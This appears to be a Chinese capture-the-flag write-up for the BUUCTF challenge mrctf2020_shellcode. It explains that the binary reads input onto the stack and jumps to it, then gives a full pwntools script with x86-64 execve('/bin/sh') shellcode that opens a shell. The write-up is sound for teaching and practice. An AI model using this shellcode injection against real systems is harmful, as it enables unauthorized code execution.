BUUCTF--mrctf2020_shellcode1

这是一题64位的shellocde题,没啥花招入门题。看下保护:


有可执行的段。接着我们看看IDA:


主函数中无法反汇编,那么我们直接看汇编代码。其实很简单,通过系统调用执行puts函数,然后执行read函数。


正在我想如何覆盖返回地址的时候,发现题目直接帮你搞好了。取buf的的地址(栈上)然后跳转到buf位置执行代码。那么我们直接通过read函数构造shellcode就完成了:

python 复制代码
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io=process('./mrctf2020_shellcode')

shellcode = '''
    mov rbx,0x68732f6e69622f
    push rbx
    push rsp
    pop rdi
    xor esi,esi
    xor edx,edx
    push 0x3b
    pop rax
    syscall
'''


shellcode=asm(shellcode)

io.recvuntil("magic!")

io.sendline(shellcode)

io.interactive()
相关推荐
橘子真甜~8 小时前
C/C++ Linux网络编程15 - 网络层IP协议
linux·网络·c++·网络协议·tcp/ip·计算机网络·网络层
小浣熊熊熊熊熊熊熊丶8 小时前
《Effective Java》第25条:限制源文件为单个顶级类
java·开发语言·effective java
啃火龙果的兔子8 小时前
JDK 安装配置
java·开发语言
星哥说事8 小时前
应用程序监控:Java 与 Web 应用的实践
java·开发语言
等....9 小时前
Miniconda使用
开发语言·python
zfj3219 小时前
go为什么设计成源码依赖,而不是二进制依赖
开发语言·后端·golang
醇氧9 小时前
org.jetbrains.annotations的@Nullable 学习
java·开发语言·学习·intellij-idea
Java&Develop9 小时前
Aes加密 GCM java
java·开发语言·python
weixin_462446239 小时前
使用 Go 实现 SSE 流式推送 + 打字机效果(模拟 Coze Chat)
开发语言·后端·golang
JIngJaneIL9 小时前
基于springboot + vue古城景区管理系统(源码+数据库+文档)
java·开发语言·前端·数据库·vue.js·spring boot·后端